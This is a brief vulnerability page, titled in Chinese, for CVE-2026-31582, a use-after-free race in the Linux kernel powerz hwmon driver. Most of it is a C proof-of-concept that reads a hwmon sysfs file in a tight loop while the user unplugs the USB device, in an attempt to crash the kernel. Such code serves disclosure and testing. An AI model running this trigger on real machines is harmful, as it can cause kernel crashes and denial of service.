CVE-2026-31582: Linux内核powerz驱动释放后使用漏洞

/* * Conceptual PoC for CVE-2026-31582 * This code attempts to trigger the race condition by reading * from the hwmon device while the USB device is disconnected. * Requires local access and the specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define HWMON_PATH "/sys/class/hwmon/hwmonX/temp1_input" // Replace X volatile int stop = 0; void* read_hmon(void* arg) { char buffer[32]; int fd = open(HWMON_PATH, O_RDONLY); if (fd < 0) { perror("Failed to open hwmon device"); return NULL; } while (!stop) { pread(fd, buffer, sizeof(buffer) - 1, 0); // Accessing the device rapidly increases race window } close(fd); return NULL; } int main() { pthread_t tid; printf("Starting PoC for CVE-2026-31582...\n"); printf("Ensure the Powerz USB device is connected.\n"); printf("Unplug the device NOW after 3 seconds...\n"); pthread_create(&tid, NULL, read_hmon, NULL); sleep(3); printf("Triggering disconnect logic (physically unplug device now)\n"); // Wait for user to unplug or simulate disconnect if possible via software sleep(5); stop = 1; pthread_join(tid, NULL); printf("PoC execution finished. Check kernel logs for crashes.\n"); return 0; }